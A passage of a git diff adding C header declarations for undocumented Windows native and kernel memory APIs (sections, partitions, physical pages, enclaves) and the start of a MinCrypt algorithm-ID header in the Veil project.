>= _Old_(*ViewSize)) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtMapViewOfSection( + _In_ HANDLE SectionHandle, + _In_ HANDLE ProcessHandle, + _Inout_ _At_(*BaseAddress, _Readable_bytes_(*ViewSize) _Writable_bytes_(*ViewSize) _Post_readable_byte_size_(*ViewSize)) PVOID* BaseAddress, + _In_ ULONG_PTR ZeroBits, + _In_ SIZE_T CommitSize, + _Inout_opt_ PLARGE_INTEGER SectionOffset, + _Inout_ PSIZE_T ViewSize, + _In_ SECTION_INHERIT InheritDisposition, + _In_ ULONG AllocationType, + _In_ ULONG Win32Protect +); + +_Must_inspect_result_ +_Post_satisfies_(*ViewSize >= _Old_(*ViewSize)) +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwMapViewOfSection( + _In_ HANDLE SectionHandle, + _In_ HANDLE ProcessHandle, + _Outptr_result_bytebuffer_(*ViewSize) PVOID* BaseAddress, + _In_ ULONG_PTR ZeroBits, + _In_ SIZE_T CommitSize, + _Inout_opt_ PLARGE_INTEGER SectionOffset, + _Inout_ PSIZE_T ViewSize, + _In_ SECTION_INHERIT InheritDisposition, + _In_ ULONG AllocationType, + _In_ ULONG Win32Protect +); + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS4) +_Must_inspect_result_ +_Post_satisfies_(*ViewSize >= _Old_(*ViewSize)) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtMapViewOfSectionEx( + _In_ HANDLE SectionHandle, + _In_ HANDLE ProcessHandle, + _Inout_ _At_(*BaseAddress, _Readable_bytes_(*ViewSize) _Writable_bytes_(*ViewSize) _Post_readable_byte_size_(*ViewSize)) PVOID* BaseAddress, + _Inout_opt_ PLARGE_INTEGER SectionOffset, + _Inout_ PSIZE_T ViewSize, + _In_ ULONG AllocationType, + _In_ ULONG Win32Protect, + _Inout_updates_opt_(ParameterCount) PMEM_EXTENDED_PARAMETER ExtendedParameters, + _In_ ULONG ExtendedParameterCount +); + +_Must_inspect_result_ +_Post_satisfies_(*ViewSize >= _Old_(*ViewSize)) +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwMapViewOfSectionEx( + _In_ HANDLE SectionHandle, + _In_ HANDLE ProcessHandle, + _Inout_ _At_(*BaseAddress, _Readable_bytes_(*ViewSize) _Writable_bytes_(*ViewSize) _Post_readable_byte_size_(*ViewSize)) PVOID* BaseAddress, + _Inout_opt_ PLARGE_INTEGER SectionOffset, + _Inout_ PSIZE_T ViewSize, + _In_ ULONG AllocationType, + _In_ ULONG Win32Protect, + _Inout_updates_opt_(ParameterCount) PMEM_EXTENDED_PARAMETER ExtendedParameters, + _In_ ULONG ExtendedParameterCount +); +#endif // NTDDI_VERSION >= NTDDI_WIN10_RS4 + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtUnmapViewOfSection( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwUnmapViewOfSection( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress +); + +#if (NTDDI_VERSION >= NTDDI_WIN8) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtUnmapViewOfSectionEx( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress, + _In_ ULONG Flags +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwUnmapViewOfSectionEx( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress, + _In_ ULONG Flags +); +#endif + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtExtendSection( + _In_ HANDLE SectionHandle, + _Inout_ PLARGE_INTEGER NewSectionSize +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwExtendSection( + _In_ HANDLE SectionHandle, + _Inout_ PLARGE_INTEGER NewSectionSize +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQuerySection( + _In_ HANDLE SectionHandle, + _In_ SECTION_INFORMATION_CLASS SectionInformationClass, + _Out_writes_bytes_(SectionInformationLength) PVOID SectionInformation, + _In_ SIZE_T SectionInformationLength, + _Out_opt_ PSIZE_T ReturnLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQuerySection( + _In_ HANDLE SectionHandle, + _In_ SECTION_INFORMATION_CLASS SectionInformationClass, + _Out_writes_bytes_(SectionInformationLength) PVOID SectionInformation, + _In_ SIZE_T SectionInformationLength, + _Out_opt_ PSIZE_T ReturnLength +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAreMappedFilesTheSame( + _In_ PVOID File1MappedAsAnImage, + _In_ PVOID File2MappedAsFile +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAreMappedFilesTheSame( + _In_ PVOID File1MappedAsAnImage, + _In_ PVOID File2MappedAsFile +); + +// +// Partitions +// + +#if !defined(_KERNEL_MODE) || (WDK_NTDDI_VERSION <= NTDDI_WIN10_VB) +// private +typedef enum _PARTITION_INFORMATION_CLASS +{ + SystemMemoryPartitionInformation, // q: MEMORY_PARTITION_CONFIGURATION_INFORMATION + SystemMemoryPartitionMoveMemory, // s: MEMORY_PARTITION_TRANSFER_INFORMATION + SystemMemoryPartitionAddPagefile, // s: MEMORY_PARTITION_PAGEFILE_INFORMATION + SystemMemoryPartitionCombineMemory, // q; s: MEMORY_PARTITION_PAGE_COMBINE_INFORMATION + SystemMemoryPartitionInitialAddMemory, // q; s: MEMORY_PARTITION_INITIAL_ADD_INFORMATION + SystemMemoryPartitionGetMemoryEvents, // MEMORY_PARTITION_MEMORY_EVENTS_INFORMATION // since REDSTONE2 + SystemMemoryPartitionSetAttributes, + SystemMemoryPartitionNodeInformation, + SystemMemoryPartitionCreateLargePages, + SystemMemoryPartitionDedicatedMemoryInformation, + SystemMemoryPartitionOpenDedicatedMemory, // 10 + SystemMemoryPartitionMemoryChargeAttributes, + SystemMemoryPartitionClearAttributes, + SystemMemoryPartitionSetMemoryThresholds, // since WIN11 + SystemMemoryPartitionMax +} PARTITION_INFORMATION_CLASS, * PPARTITION_INFORMATION_CLASS; +#else +#define SystemMemoryPartitionInformation ((_PARTITION_INFORMATION_CLASS)0x0) +#define SystemMemoryPartitionMoveMemory ((_PARTITION_INFORMATION_CLASS)0x1) +#define SystemMemoryPartitionAddPagefile ((_PARTITION_INFORMATION_CLASS)0x2) +#define SystemMemoryPartitionCombineMemory ((_PARTITION_INFORMATION_CLASS)0x3) +#define SystemMemoryPartitionInitialAddMemory ((_PARTITION_INFORMATION_CLASS)0x4) +#define SystemMemoryPartitionGetMemoryEvents ((_PARTITION_INFORMATION_CLASS)0x5) +#define SystemMemoryPartitionSetAttributes ((_PARTITION_INFORMATION_CLASS)0x6) +#define SystemMemoryPartitionNodeInformation ((_PARTITION_INFORMATION_CLASS)0x7) +#define SystemMemoryPartitionCreateLargePages ((_PARTITION_INFORMATION_CLASS)0x8) +#define SystemMemoryPartitionDedicatedMemoryInformation ((_PARTITION_INFORMATION_CLASS)0x9) +#define SystemMemoryPartitionOpenDedicatedMemory ((_PARTITION_INFORMATION_CLASS)0xA) +#define SystemMemoryPartitionMemoryChargeAttributes ((_PARTITION_INFORMATION_CLASS)0xB) +#define SystemMemoryPartitionClearAttributes ((_PARTITION_INFORMATION_CLASS)0xC) +#define SystemMemoryPartitionSetMemoryThresholds ((_PARTITION_INFORMATION_CLASS)0xD) +#define SystemMemoryPartitionMax ((_PARTITION_INFORMATION_CLASS)0xE) +#endif //!_KERNEL_MODE + +// private +typedef struct _MEMORY_PARTITION_CONFIGURATION_INFORMATION +{ + ULONG Flags; + ULONG NumaNode; + ULONG Channel; + ULONG NumberOfNumaNodes; + ULONG_PTR ResidentAvailablePages; + ULONG_PTR CommittedPages; + ULONG_PTR CommitLimit; + ULONG_PTR PeakCommitment; + ULONG_PTR TotalNumberOfPages; + ULONG_PTR AvailablePages; + ULONG_PTR ZeroPages; + ULONG_PTR FreePages; + ULONG_PTR StandbyPages; + ULONG_PTR StandbyPageCountByPriority[8]; // since REDSTONE2 + ULONG_PTR RepurposedPagesByPriority[8]; + ULONG_PTR MaximumCommitLimit; + ULONG_PTR Reserved; // DonatedPagesToPartitions + ULONG PartitionId; // since REDSTONE3 +} MEMORY_PARTITION_CONFIGURATION_INFORMATION, * PMEMORY_PARTITION_CONFIGURATION_INFORMATION; + +// private +typedef struct _MEMORY_PARTITION_TRANSFER_INFORMATION +{ + ULONG_PTR NumberOfPages; + ULONG NumaNode; + ULONG Flags; +} MEMORY_PARTITION_TRANSFER_INFORMATION, * PMEMORY_PARTITION_TRANSFER_INFORMATION; + +// private +typedef struct _MEMORY_PARTITION_PAGEFILE_INFORMATION +{ + UNICODE_STRING PageFileName; + LARGE_INTEGER MinimumSize; + LARGE_INTEGER MaximumSize; + ULONG Flags; +} MEMORY_PARTITION_PAGEFILE_INFORMATION, * PMEMORY_PARTITION_PAGEFILE_INFORMATION; + +// private +typedef struct _MEMORY_PARTITION_PAGE_COMBINE_INFORMATION +{ + HANDLE StopHandle; + ULONG Flags; + ULONG_PTR TotalNumberOfPages; +} MEMORY_PARTITION_PAGE_COMBINE_INFORMATION, * PMEMORY_PARTITION_PAGE_COMBINE_INFORMATION; + +// private +typedef struct _MEMORY_PARTITION_PAGE_RANGE +{ + ULONG_PTR StartPage; + ULONG_PTR NumberOfPages; +} MEMORY_PARTITION_PAGE_RANGE, * PMEMORY_PARTITION_PAGE_RANGE; + +// private +typedef struct _MEMORY_PARTITION_INITIAL_ADD_INFORMATION +{ + ULONG Flags; + ULONG NumberOfRanges; + ULONG_PTR NumberOfPagesAdded; + MEMORY_PARTITION_PAGE_RANGE PartitionRanges[1]; +} MEMORY_PARTITION_INITIAL_ADD_INFORMATION, * PMEMORY_PARTITION_INITIAL_ADD_INFORMATION; + +// private +typedef struct _MEMORY_PARTITION_MEMORY_EVENTS_INFORMATION +{ + union + { + struct + { + ULONG CommitEvents : 1; + ULONG Spare : 31; + }; + ULONG AllFlags; + } Flags; + + ULONG HandleAttributes; + ULONG DesiredAccess; + HANDLE LowCommitCondition; // \KernelObjects\LowCommitCondition + HANDLE HighCommitCondition; // \KernelObjects\HighCommitCondition + HANDLE MaximumCommitCondition; // \KernelObjects\MaximumCommitCondition +} MEMORY_PARTITION_MEMORY_EVENTS_INFORMATION, * PMEMORY_PARTITION_MEMORY_EVENTS_INFORMATION; + +#if (NTDDI_VERSION >= NTDDI_WIN10) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreatePartition( + _In_ HANDLE ParentPartitionHandle, + _Out_ PHANDLE PartitionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG PreferredNode +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreatePartition( + _In_ HANDLE ParentPartitionHandle, + _Out_ PHANDLE PartitionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG PreferredNode +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenPartition( + _Out_ PHANDLE PartitionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenPartition( + _Out_ PHANDLE PartitionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +_Must_inspect_result_ +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtManagePartition( + _In_ HANDLE TargetHandle, + _In_opt_ HANDLE SourceHandle, + _In_ PARTITION_INFORMATION_CLASS PartitionInformationClass, + _Inout_updates_bytes_(PartitionInformationLength) PVOID PartitionInformation, + _In_ ULONG PartitionInformationLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwManagePartition( + _In_ HANDLE TargetHandle, + _In_opt_ HANDLE SourceHandle, + _In_ PARTITION_INFORMATION_CLASS PartitionInformationClass, + _Inout_updates_bytes_(PartitionInformationLength) PVOID PartitionInformation, + _In_ ULONG PartitionInformationLength +); +#endif // NTDDI_VERSION >= NTDDI_WIN10 + +// +// User physical pages +// + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtMapUserPhysicalPages( + _In_ PVOID VirtualAddress, + _In_ ULONG_PTR NumberOfPages, + _In_reads_opt_(NumberOfPages) PULONG_PTR UserPfnArray +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwMapUserPhysicalPages( + _In_ PVOID VirtualAddress, + _In_ ULONG_PTR NumberOfPages, + _In_reads_opt_(NumberOfPages) PULONG_PTR UserPfnArray +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtMapUserPhysicalPagesScatter( + _In_reads_(NumberOfPages) PVOID* VirtualAddresses, + _In_ ULONG_PTR NumberOfPages, + _In_reads_opt_(NumberOfPages) PULONG_PTR UserPfnArray +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwMapUserPhysicalPagesScatter( + _In_reads_(NumberOfPages) PVOID* VirtualAddresses, + _In_ ULONG_PTR NumberOfPages, + _In_reads_opt_(NumberOfPages) PULONG_PTR UserPfnArray +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAllocateUserPhysicalPages( + _In_ HANDLE ProcessHandle, + _Inout_ PULONG_PTR NumberOfPages, + _Out_writes_(*NumberOfPages) PULONG_PTR UserPfnArray +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAllocateUserPhysicalPages( + _In_ HANDLE ProcessHandle, + _Inout_ PULONG_PTR NumberOfPages, + _Out_writes_(*NumberOfPages) PULONG_PTR UserPfnArray +); + +#if (NTDDI_VERSION >= NTDDI_WIN10_VB) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAllocateUserPhysicalPagesEx( + _In_ HANDLE ProcessHandle, + _Inout_ PULONG_PTR NumberOfPages, + _Out_writes_(*NumberOfPages) PULONG_PTR UserPfnArray, + _Inout_updates_opt_(ParameterCount) PMEM_EXTENDED_PARAMETER ExtendedParameters, + _In_ ULONG ExtendedParameterCount +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAllocateUserPhysicalPagesEx( + _In_ HANDLE ProcessHandle, + _Inout_ PULONG_PTR NumberOfPages, + _Out_writes_(*NumberOfPages) PULONG_PTR UserPfnArray, + _Inout_updates_opt_(ParameterCount) PMEM_EXTENDED_PARAMETER ExtendedParameters, + _In_ ULONG ExtendedParameterCount +); +#endif // NTDDI_VERSION >= NTDDI_WIN10_VB + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtFreeUserPhysicalPages( + _In_ HANDLE ProcessHandle, + _Inout_ PULONG_PTR NumberOfPages, + _In_reads_(*NumberOfPages) PULONG_PTR UserPfnArray +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwFreeUserPhysicalPages( + _In_ HANDLE ProcessHandle, + _Inout_ PULONG_PTR NumberOfPages, + _In_reads_(*NumberOfPages) PULONG_PTR UserPfnArray +); + +// Misc. + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtGetWriteWatch( + _In_ HANDLE ProcessHandle, + _In_ ULONG Flags, + _In_ PVOID BaseAddress, + _In_ SIZE_T RegionSize, + _Out_writes_(*EntriesInUserAddressArray) PVOID* UserAddressArray, + _Inout_ PULONG_PTR EntriesInUserAddressArray, + _Out_ PULONG Granularity +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwGetWriteWatch( + _In_ HANDLE ProcessHandle, + _In_ ULONG Flags, + _In_ PVOID BaseAddress, + _In_ SIZE_T RegionSize, + _Out_writes_(*EntriesInUserAddressArray) PVOID* UserAddressArray, + _Inout_ PULONG_PTR EntriesInUserAddressArray, + _Out_ PULONG Granularity +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtResetWriteWatch( + _In_ HANDLE ProcessHandle, + _In_ PVOID BaseAddress, + _In_ SIZE_T RegionSize +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwResetWriteWatch( + _In_ HANDLE ProcessHandle, + _In_ PVOID BaseAddress, + _In_ SIZE_T RegionSize +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreatePagingFile( + _In_ PUNICODE_STRING PageFileName, + _In_ PLARGE_INTEGER MinimumSize, + _In_ PLARGE_INTEGER MaximumSize, + _In_ ULONG Priority +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreatePagingFile( + _In_ PUNICODE_STRING PageFileName, + _In_ PLARGE_INTEGER MinimumSize, + _In_ PLARGE_INTEGER MaximumSize, + _In_ ULONG Priority +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtFlushInstructionCache( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress, + _In_ SIZE_T Length +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwFlushInstructionCache( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress, + _In_ SIZE_T Length +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtFlushWriteBuffer( + VOID +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwFlushWriteBuffer( + VOID +); + +// +// Enclave support +// + +#if (NTDDI_VERSION >= NTDDI_WIN10_TH2) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateEnclave( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID* BaseAddress, + _In_ ULONG_PTR ZeroBits, + _In_ SIZE_T Size, + _In_ SIZE_T InitialCommitment, + _In_ ULONG EnclaveType, + _In_reads_bytes_(EnclaveInformationLength) PVOID EnclaveInformation, + _In_ ULONG EnclaveInformationLength, + _Out_opt_ PULONG EnclaveError +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateEnclave( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID* BaseAddress, + _In_ ULONG_PTR ZeroBits, + _In_ SIZE_T Size, + _In_ SIZE_T InitialCommitment, + _In_ ULONG EnclaveType, + _In_reads_bytes_(EnclaveInformationLength) PVOID EnclaveInformation, + _In_ ULONG EnclaveInformationLength, + _Out_opt_ PULONG EnclaveError +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtLoadEnclaveData( + _In_ HANDLE ProcessHandle, + _In_ PVOID BaseAddress, + _In_reads_bytes_(BufferSize) PVOID Buffer, + _In_ SIZE_T BufferSize, + _In_ ULONG Protect, + _In_reads_bytes_(PageInformationLength) PVOID PageInformation, + _In_ ULONG PageInformationLength, + _Out_opt_ PSIZE_T NumberOfBytesWritten, + _Out_opt_ PULONG EnclaveError +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwLoadEnclaveData( + _In_ HANDLE ProcessHandle, + _In_ PVOID BaseAddress, + _In_reads_bytes_(BufferSize) PVOID Buffer, + _In_ SIZE_T BufferSize, + _In_ ULONG Protect, + _In_reads_bytes_(PageInformationLength) PVOID PageInformation, + _In_ ULONG PageInformationLength, + _Out_opt_ PSIZE_T NumberOfBytesWritten, + _Out_opt_ PULONG EnclaveError +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtInitializeEnclave( + _In_ HANDLE ProcessHandle, + _In_ PVOID BaseAddress, + _In_reads_bytes_(EnclaveInformationLength) PVOID EnclaveInformation, + _In_ ULONG EnclaveInformationLength, + _Out_opt_ PULONG EnclaveError +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwInitializeEnclave( + _In_ HANDLE ProcessHandle, + _In_ PVOID BaseAddress, + _In_reads_bytes_(EnclaveInformationLength) PVOID EnclaveInformation, + _In_ ULONG EnclaveInformationLength, + _Out_opt_ PULONG EnclaveError +); + +#endif // NTDDI_VERSION >= NTDDI_WIN10_TH2 + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS3) + +// rev +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtTerminateEnclave( + _In_ PVOID BaseAddress, + _In_ BOOLEAN WaitForThread +); + +// rev +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwTerminateEnclave( + _In_ PVOID BaseAddress, + _In_ BOOLEAN WaitForThread +); + +#ifdef _KERNEL_MODE +typedef PVOID(NTAPI* PENCLAVE_ROUTINE)( + PVOID lpThreadParameter + ); +typedef PENCLAVE_ROUTINE LPENCLAVE_ROUTINE; +#endif // _KERNEL_MODE + +// rev +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCallEnclave( + _In_ PENCLAVE_ROUTINE Routine, + _In_ PVOID Parameter, + _In_ BOOLEAN WaitForThread, + _Out_opt_ PVOID* ReturnValue +); + +// rev +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCallEnclave( + _In_ PENCLAVE_ROUTINE Routine, + _In_ PVOID Parameter, + _In_ BOOLEAN WaitForThread, + _Out_opt_ PVOID* ReturnValue +); + +#endif // NTDDI_VERSION >= NTDDI_VERSION_RS3 + +// +// Only Kernel +// + +#ifdef _KERNEL_MODE + +// Section + +NTSYSAPI +NTSTATUS +NTAPI +MmCreateSection( + _Deref_out_ PVOID* SectionObject, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ PLARGE_INTEGER InputMaximumSize, + _In_ ULONG SectionPageProtection, + _In_ ULONG AllocationAttributes, + _In_opt_ HANDLE FileHandle, + _In_opt_ PFILE_OBJECT FileObject +); + +NTSYSAPI +NTSTATUS +NTAPI +MmMapViewOfSection( + _In_ PVOID SectionToMap, + _In_ PEPROCESS Process, + __deref_inout_bcount(*CapturedViewSize) PVOID* CapturedBase, + _In_ ULONG_PTR ZeroBits, + _In_ SIZE_T CommitSize, + _Inout_ PLARGE_INTEGER SectionOffset, + _Inout_ PSIZE_T CapturedViewSize, + _In_ SECTION_INHERIT InheritDisposition, + _In_ ULONG AllocationType, + _In_ ULONG Win32Protect +); + +NTSYSAPI +NTSTATUS +NTAPI +MmUnmapViewOfSection( + _In_ PEPROCESS Process, + _In_ PVOID BaseAddress +); + +_IRQL_requires_max_(APC_LEVEL) +NTKERNELAPI +BOOLEAN +MmForceSectionClosed( + _In_ PSECTION_OBJECT_POINTERS SectionObjectPointer, + _In_ BOOLEAN DelayClose +); + +_IRQL_requires_max_(APC_LEVEL) +NTKERNELAPI +BOOLEAN +MmForceSectionClosedEx( + _In_ PSECTION_OBJECT_POINTERS SectionObjectPointer, + _In_ ULONG ForceCloseFlags +); + +// Virtual Memory + +NTSYSAPI +NTSTATUS +NTAPI +MmCopyVirtualMemory( + _In_ PEPROCESS aFromProcess, + _In_ CONST PVOID aFromAddress, + _In_ PEPROCESS aToProcess, + _Out_ PVOID aToAddress, + _In_ SIZE_T aBufferSize, + _In_ KPROCESSOR_MODE aPreviousMode, + _Out_ PSIZE_T aNumberOfBytesCopied +); + + +#endif // _KERNEL_MODE + +VEIL_END() + +#if _MSC_VER >= 1200 +#pragma warning(pop) +#endif diff --git a/include/Veil/Veil/Veil.System.MinCrypt.h b/include/Veil/Veil/Veil.System.MinCrypt.h new file mode 100644 index 0000000..d9245bd --- /dev/null +++ b/include/Veil/Veil/Veil.System.MinCrypt.h @@ -0,0 +1,568 @@ +/* + * PROJECT: Veil + * FILE: Veil.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: MiroKaku (50670906+MiroKaku@users.noreply.github.com) + */ + +/* + * PROJECT: https://github.com/Ido-Moshe-Github/CiDllDemo + * FILE: ci.h + * PURPOSE: Definition for the ci.dll API and Struct. + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: [Ido Moshe, Liron Zuarets] + * + */ + +#pragma once + +// Warnings which disabled for compiling +#if _MSC_VER >= 1200 +#pragma warning(push) +// nonstandard extension used : nameless struct/union +#pragma warning(disable:4201) +// 'struct_name' : structure was padded due to __declspec(align()) +#pragma warning(disable:4324) +// 'enumeration': a forward declaration of an unscoped enumeration must have an +// underlying type (int assumed) +#pragma warning(disable:4471) +#endif + +VEIL_BEGIN() + +#ifdef _KERNEL_MODE + +#ifndef _MINCRYPT_LIB +#define MINCRYPTAPI __declspec(dllimport) +#else +#define MINCRYPTAPI +#endif + +// +// Algorithm IDs and Flags +// + +// ALG_ID crackers +#define GET_ALG_CLASS(x) (x & (7 << 13)) +#define GET_ALG_TYPE(x) (x & (15 << 9)) +#define GET_ALG_SID(x) (x & (511)) + +// Algorithm classes +// certenrolld_begin -- ALG_CLASS_* +#define ALG_CLASS_ANY (0) +#define ALG_CLASS_SIGNATURE (1 << 13) +#define ALG_CLASS_MSG_ENCRYPT (2 << 13) +#define ALG_CLASS_DATA_ENCRYPT (3 << 13) +#define ALG_CLASS_HASH (4 << 13) +#define ALG_CLASS_KEY_EXCHANGE (5 << 13) +#define ALG_CLASS_ALL (7 << 13) +// certenrolld_end + +// Algorithm types +#define ALG_TYPE_ANY (0) +#define ALG_TYPE_DSS (1 << 9) +#define ALG_TYPE_RSA (2 << 9) +#define ALG_TYPE_BLOCK (3 << 9) +#define ALG_TYPE_STREAM (4 << 9) +#define ALG_TYPE_DH (5 << 9) +#define ALG_TYPE_SECURECHANNEL (6 << 9) +#if (NTDDI_VERSION >= NTDDI_VISTA) +#define ALG_TYPE_ECDH (7 << 9) +#endif //(NTDDI_VERSION >= NTDDI_VISTA) +#if (NTDDI_VERSION >= NTDDI_WIN10_RS1) +#define ALG_TYPE_THIRDPARTY (8 << 9) +#endif //(NTDDI_VERSION >= NTDDI_WIN10_RS1) + +// Generic sub-ids +#define ALG_SID_ANY (0) + +// Generic ThirdParty sub-ids +#if (NTDDI_VERSION >= NTDDI_WIN10_RS1) +#define ALG_SID_THIRDPARTY_ANY (0) +#endif //(NTDDI_VERSION >= NTDDI_WIN10_RS1) + +// Some RSA sub-ids +#define ALG_SID_RSA_ANY 0 +#define ALG_SID_RSA_PKCS 1 +#define ALG_SID_RSA_MSATWORK 2 +#define ALG_SID_RSA_ENTRUST 3 +#define ALG_SID_RSA_PGP 4 + +// Some DSS sub-ids +// +#define ALG_SID_DSS_ANY 0 +#define ALG_SID_DSS_PKCS 1 +#define ALG_SID_DSS_DMS 2 +#if (NTDDI_VERSION >= NTDDI_VISTA) +#define ALG_SID_ECDSA 3 +#endif //(NTDDI_VERSION >= NTDDI_VISTA) + +// Block cipher sub ids +// DES sub_ids +#define ALG_SID_DES 1 +#define ALG_SID_3DES 3 +#define ALG_SID_DESX 4 +#define ALG_SID_IDEA 5 +#define ALG_SID_CAST 6 +#define ALG_SID_SAFERSK64 7 +#define ALG_SID_SAFERSK128 8 +#define ALG_SID_3DES_112 9 +#define ALG_SID_CYLINK_MEK 12 +#define ALG_SID_RC5 13 +#if (NTDDI_VERSION >= NTDDI_WINXP) +#define ALG_SID_AES_128 14 +#define ALG_SID_AES_192 15 +#define ALG_SID_AES_256 16 +#define ALG_SID_AES 17 +#endif //(NTDDI_VERSION >= NTDDI_WINXP) + +// Fortezza sub-ids +#define ALG_SID_SKIPJACK 10 +#define ALG_SID_TEK 11 + +// KP_MODE +#define CRYPT_MODE_CBCI 6 // ANSI CBC Interleaved +#define CRYPT_MODE_CFBP 7 // ANSI CFB Pipelined +#define CRYPT_MODE_OFBP 8 // ANSI OFB Pipelined +#define CRYPT_MODE_CBCOFM 9 // ANSI CBC + OF Masking +#define CRYPT_MODE_CBCOFMI 10 // ANSI CBC + OFM Interleaved + +// RC2 sub-ids +#define ALG_SID_RC2 2 + +// Stream cipher sub-ids +#define ALG_SID_RC4 1 +#define ALG_SID_SEAL 2 + +// Diffie-Hellman sub-ids +#define ALG_SID_DH_SANDF 1 +#define ALG_SID_DH_EPHEM 2 +#define ALG_SID_AGREED_KEY_ANY 3 +#define ALG_SID_KEA 4 +#if (NTDDI_VERSION >= NTDDI_VISTA) +#define ALG_SID_ECDH 5 +#define ALG_SID_ECDH_EPHEM 6 +#endif //(NTDDI_VERSION >= NTDDI_VISTA) + +// Hash sub ids +#define ALG_SID_MD2 1 +#define ALG_SID_MD4 2 +#define ALG_SID_MD5 3 +#define ALG_SID_SHA 4 +#define ALG_SID_SHA1 4 +#define ALG_SID_MAC 5 +#define ALG_SID_RIPEMD 6 +#define ALG_SID_RIPEMD160 7 +#define ALG_SID_SSL3SHAMD5 8 +#define 